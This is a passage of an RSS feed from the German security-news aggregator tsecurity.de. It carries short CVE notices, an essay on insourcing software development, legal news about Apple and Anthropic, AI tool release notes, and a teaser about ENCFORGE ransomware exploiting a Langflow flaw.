<title><![CDATA[CVE-2026-53367 | Linux Kernel Selinux avc_audit_required permission (WID-SEC-2026-2403)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Linux Kernel. Impacted is the function avc_audit_required of the component Selinux. The manipulation leads to permission issues.

This vulnerability is traded as CVE-2026-53367. It is possible to initiate the attack remotely. There is no...]]></description>
<link>https://tsecurity.de/de/3685803/sicherheitsluecken/cve-2026-53367-linux-kernel-selinux-avcauditrequired-permission-wid-sec-2026-2403/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685803/sicherheitsluecken/cve-2026-53367-linux-kernel-selinux-avcauditrequired-permission-wid-sec-2026-2403/</guid>
<pubDate>Wed, 22 Jul 2026 11:33:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/linux:kernel">Linux Kernel</a>. Impacted is the function <code>avc_audit_required</code> of the component <em>Selinux</em>. The manipulation leads to permission issues.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-53367">CVE-2026-53367</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Loses Bid to Overturn $634 Million Masimo Patent Verdict]]></title>
<description><![CDATA[Apple has failed to overturn a $634 million patent verdict in its legal battle with medical technology company Masimo, after a California federal judge rejected the company’s request for judgment in its favour and denied its demand for a new trial.



The dispute began in 2020, when Masimo accuse...]]></description>
<link>https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/</guid>
<pubDate>Wed, 22 Jul 2026 09:39:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has failed to overturn a $634 million patent verdict in its legal battle with medical technology company Masimo, after a California federal judge rejected the company’s request for judgment in its favour and denied its demand for a new trial.



The dispute began in 2020, when Masimo accused Apple of using its trade secrets and infringing patents linked to pulse oximetry and optical health-monitoring technology. The wider conflict later led to a US import ban on Apple Watch models that included blood oxygen monitoring, forcing Apple to disable the feature before resuming sales.



In November 2025, a jury found that Apple Watch heart-rate monitoring and notification features infringed a Masimo patent and ordered Apple to pay $634 million in damages. Apple challenged the verdict by arguing that the Apple Watch did not qualify as a “patient monitor” under the wording of the patent.



Judge Rejects Apple’s Arguments



Law360 reported that US District Judge James V. Selna rejected Apple’s interpretation and agreed with the jury that the Apple Watch could fall within the broader meaning of a patient-monitoring device.



The judge also dismissed Apple’s objections to the jury instructions and the exclusion of testimony from one of its experts, finding no serious legal errors that justified another trial.



Apple referred to an earlier statement and confirmed that it plans to appeal the decision.




“The single patent in this case expired in 2022, and is specific to historic patient monitoring technology from decades ago. We plan to appeal,” Apple said.




The ruling leaves the $634 million damages award in place while Apple prepares its next legal challenge.]]></content:encoded>
</item>
<item>
<title><![CDATA[Bit2Watt instability, AI models cheat, Chinese LLM ban]]></title>
<description><![CDATA[Bit2Watt threatens power stability All AI models cheat at cyber evaluations US weighing Chinese LLM ban Get the show notes here: https://cisoseries.com/cybersecurity-news-bit2watt-instability-ai-models-cheat-chinese-llm-ban/  Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. The...]]></description>
<link>https://tsecurity.de/de/3685536/it-security-nachrichten/bit2watt-instability-ai-models-cheat-chinese-llm-ban/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685536/it-security-nachrichten/bit2watt-instability-ai-models-cheat-chinese-llm-ban/</guid>
<pubDate>Wed, 22 Jul 2026 09:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bit2Watt threatens power stability All AI models cheat at cyber evaluations US weighing Chinese LLM ban Get the show notes here: https://cisoseries.com/cybersecurity-news-bit2watt-instability-ai-models-cheat-chinese-llm-ban/  Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data, triggering workflows,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bit2watt-instability-ai-models-cheat-chinese-llm-ban/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bit2watt-instability-ai-models-cheat-chinese-llm-ban/">Bit2Watt instability, AI models cheat, Chinese LLM ban</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #38252 verification videos]]></title>
<description><![CDATA[Before/after verification recordings for PR #38252.]]></description>
<link>https://tsecurity.de/de/3685318/downloads/pr-38252-verification-videos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685318/downloads/pr-38252-verification-videos/</guid>
<pubDate>Wed, 22 Jul 2026 07:31:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Before/after verification recordings for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945624443" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/38252" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/38252/hovercard" href="https://github.com/anomalyco/opencode/pull/38252">#38252</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ubuntu 26.10 will add Ubuntu Certified checking to Settings]]></title>
<description><![CDATA[Wondering if your laptop or desktop PC is Ubuntu Certified? Ubuntu 26.10 is adding a new way to check from the Settings app. A new row in Settings > System > About reads “check if this computer is Ubuntu Certified”. Clicking it opens a new page that will read the local/cached status from the com....]]></description>
<link>https://tsecurity.de/de/3685165/linux-tipps/ubuntu-2610-will-add-ubuntu-certified-checking-to-settings/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685165/linux-tipps/ubuntu-2610-will-add-ubuntu-certified-checking-to-settings/</guid>
<pubDate>Wed, 22 Jul 2026 04:56:27 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Ubuntu-certified-badge.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Ubuntu-certified-badge.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Ubuntu-certified-badge.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Ubuntu-certified-badge.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/Ubuntu-certified-badge.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Wondering if your laptop or desktop PC is Ubuntu Certified? Ubuntu 26.10 is adding a new way to check from the Settings app. A new row in Settings &gt; System &gt; About reads “check if this computer is Ubuntu Certified”. Clicking it opens a new page that will read the local/cached status from the com.ubuntu.hwctl service (the Canonical hardware API introduced in 2025). Ubuntu’s has had a command-line way to check certification for a while, using hwlib. In 26.10 (Stonking Stingray), you’ll be able to check it via Settings rather than through terminal command. The statuses which can be shown: There’s also an […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/ubuntu-2610-certified-hardware-check">Ubuntu 26.10 will add Ubuntu Certified checking to Settings</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260722.gc776c665b]]></title>
<description><![CDATA[What's Changed

fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by @luisfelipe-alt in #28470

Full Changelog: v0.52.0-nightly.20260721.gacae7124b...v0.52.0-nightly.20260722.gc776c665b]]></description>
<link>https://tsecurity.de/de/3685086/downloads/release-v0520-nightly20260722gc776c665b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685086/downloads/release-v0520-nightly20260722gc776c665b/</guid>
<pubDate>Wed, 22 Jul 2026 03:37:15 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4933898579" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28470" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28470/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28470">#28470</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260721.gacae7124b...v0.52.0-nightly.20260722.gc776c665b"><tt>v0.52.0-nightly.20260721.gacae7124b...v0.52.0-nightly.20260722.gc776c665b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Langflow RCE: ENCFORGE verschlüsselt KI-Modelle, Vektoren und Trainingsdaten]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine Folgeattacke auf dieselbe Langflow-Instanz nutzt die RCE-Schwachstelle CVE-2025-3248, um nun speziell KI-Artefakte zu verschlüsseln. Der neue Go-Locker ENCFORGE zielt auf Model-Weights, Vektorindizes und Trainingsdaten quer über das Host-Dateisystem. Dabei baut der Ang...]]></description>
<link>https://tsecurity.de/de/3685038/it-security-nachrichten/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685038/it-security-nachrichten/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten/</guid>
<pubDate>Wed, 22 Jul 2026 02:12:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-encforge-langflow-rce-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine Folgeattacke auf dieselbe Langflow-Instanz nutzt die RCE-Schwachstelle CVE-2025-3248, um nun speziell KI-Artefakte zu verschlüsseln. Der neue Go-Locker ENCFORGE zielt auf Model-Weights, Vektorindizes und Trainingsdaten quer über das Host-Dateisystem. Dabei baut der Angreifer den Zugriff über den freigelegten Docker-Socket und startet einen privilegierten Container, um Prozesse und Daten auf dem Host […]</p>
<div><a href="https://www.it-boltwise.de/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten.html">... den vollständigen Artikel <strong>»Langflow RCE: ENCFORGE verschlüsselt KI-Modelle, Vektoren und Trainingsdaten«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/langflow-rce-encforge-verschluesselt-ki-modelle-vektoren-und-trainingsdaten.html">Langflow RCE: ENCFORGE verschlüsselt KI-Modelle, Vektoren und Trainingsdaten</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.217]]></title>
<description><![CDATA[What's changed

Added emoji shortcode autocomplete in the prompt input: type :heart: to insert ❤️, or :hea for suggestions — disable with the emojiCompletionEnabled setting
Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environ...]]></description>
<link>https://tsecurity.de/de/3684903/downloads/v21217/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684903/downloads/v21217/</guid>
<pubDate>Tue, 21 Jul 2026 23:48:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added emoji shortcode autocomplete in the prompt input: type <code>:heart:</code> to insert ❤️, or <code>:hea</code> for suggestions — disable with the <code>emojiCompletionEnabled</code> setting</li>
<li>Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environment variable, instead of losing transcripts silently</li>
<li>Fixed a memory leak where truncated MCP tool outputs kept the full untruncated result in memory for the rest of the session</li>
<li>Fixed Windows auto-update failures that could leave <code>claude.exe</code> missing; failed updates now restore the preserved executable automatically</li>
<li>Fixed background session isolation not canonicalizing symlinked working directories, which could let sessions escape their workspace folder</li>
<li>Fixed auto-compact never triggering for Claude Opus 4.8 on Bedrock and <code>/compact</code> failing once over the limit</li>
<li>Fixed corporate mTLS, TLS-verify, OAuth scope, and proxy settings being ignored in Claude Desktop sessions</li>
<li>Fixed screen reader mode's startup announcement being cut off by the first prompt render, and the thinking status row re-rendering every few seconds to update elapsed time and token counts</li>
<li>Fixed managed settings that set <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> not governing all signals — lower-scope signal-specific overrides no longer redirect telemetry away from the managed endpoint</li>
<li>Fixed <code>--resume</code>/<code>--continue</code> and <code>/resume</code> failing with a TypeError when a transcript has a malformed attachment entry</li>
<li>Fixed Remote Control sessions not showing a pending permission prompt or dialog to viewers that connected after it appeared</li>
<li>Fixed background shells sometimes becoming impossible to stop after a session is sent to the background (<code>/background</code> or <code>←</code>) or when the session exits on a heavily loaded machine, most visible on Windows</li>
<li>Fixed a <code>CLAUDE.md</code> or <code>SKILL.md</code> paths frontmatter value with many brace groups OOM-killing or stalling the CLI at startup — brace expansion is now budget-bounded</li>
<li>Fixed the transcript preview sitting flush against the input area when attaching to a starting background session; it now leaves the same one-line gap as the live layout, so the transcript no longer shifts when the session takes over</li>
<li>Improved footer PR badge links to be clickable hyperlinks even when terminal support can't be detected (e.g. over ssh/tmux); set <code>FORCE_HYPERLINK=0</code> to opt out</li>
<li>Changed the login-expiry warning to appear 3 days before expiry instead of 5</li>
<li>Capped the frontend-design plugin suggestion tip at 3 lifetime impressions instead of repeating indefinitely</li>
<li>Added a cap on concurrently-running subagents (default 20, override with <code>CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS</code>) so one message can't fan out unbounded background agents</li>
<li>Changed subagents to no longer spawn nested subagents by default; set <code>CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH</code> to allow deeper nesting</li>
<li>Fixed <code>--max-budget-usd</code> not stopping background subagents: once the cap is reached, new spawns are denied and running background agents are halted</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic pays $1.5B to settle contentious copyright case]]></title>
<description><![CDATA[A US federal court has approved Anthropic’s $1.5 billion settlement in a class-action lawsuit in which authors accused the AI company of using their books without permission to train the AI model Claude. This is the largest such settlement to date in a US copyright case, according to Reuters.



...]]></description>
<link>https://tsecurity.de/de/3684606/it-nachrichten/anthropic-pays-15b-to-settle-contentious-copyright-case/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684606/it-nachrichten/anthropic-pays-15b-to-settle-contentious-copyright-case/</guid>
<pubDate>Tue, 21 Jul 2026 20:19:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A US federal court has approved Anthropic’s $1.5 billion settlement in a class-action lawsuit in which authors <a href="https://www.computerworld.com/article/3489680/anthropic-sued-by-authors-over-alleged-misuse-of-copyrighted-works-for-ai-training.html" data-type="link" data-id="https://www.computerworld.com/article/3489680/anthropic-sued-by-authors-over-alleged-misuse-of-copyrighted-works-for-ai-training.html">accused the AI company of using their books without permission</a> to train the AI model Claude. This is the largest such settlement to date in a US copyright case, <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/" target="_blank" rel="noreferrer noopener">according to Reuters</a>.</p>



<p class="wp-block-paragraph">The dispute is one of several legal cases in which copyright holders sued AI companies over how large language models (LLMs) were trained, and it is the first major AI-related copyright dispute in the US to be resolved through a settlement.</p>



<p class="wp-block-paragraph">A judge had previously ruled that the actual training of AI models using books falls under the “fair use” doctrine in US copyright law. But Anthropic was found to have violated the law by storing more than 7 million pirated books in a central library, regardless of whether they were later used for AI training or not.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-43451 | Apple macOS up to 25 App permission]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in Apple macOS up to 25. This issue affects some unknown processing of the component App Handler. Executing a manipulation can lead to permission issues.

This vulnerability is tracked as CVE-2025-43451. The attack is restricted to local...]]></description>
<link>https://tsecurity.de/de/3684516/sicherheitsluecken/cve-2025-43451-apple-macos-up-to-25-app-permission/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684516/sicherheitsluecken/cve-2025-43451-apple-macos-up-to-25-app-permission/</guid>
<pubDate>Tue, 21 Jul 2026 19:48:11 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/apple:macos">Apple macOS up to 25</a>. This issue affects some unknown processing of the component <em>App Handler</em>. Executing a manipulation can lead to permission issues.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2025-43451">CVE-2025-43451</a>. The attack is restricted to local execution. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[AT&amp;T Loses Key Ruling In Bid To Stop Offering Basic Phone Service In California]]></title>
<description><![CDATA[A federal judge rejected AT&T's request to temporarily block California rules requiring it to offer basic phone service to new customers in its wireline territory. AT&T wants to retire its copper-based phone network and stop service for nearly 200,000 California customers in 2027, but the state a...]]></description>
<link>https://tsecurity.de/de/3684497/it-security-nachrichten/atampt-loses-key-ruling-in-bid-to-stop-offering-basic-phone-service-in-california/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684497/it-security-nachrichten/atampt-loses-key-ruling-in-bid-to-stop-offering-basic-phone-service-in-california/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
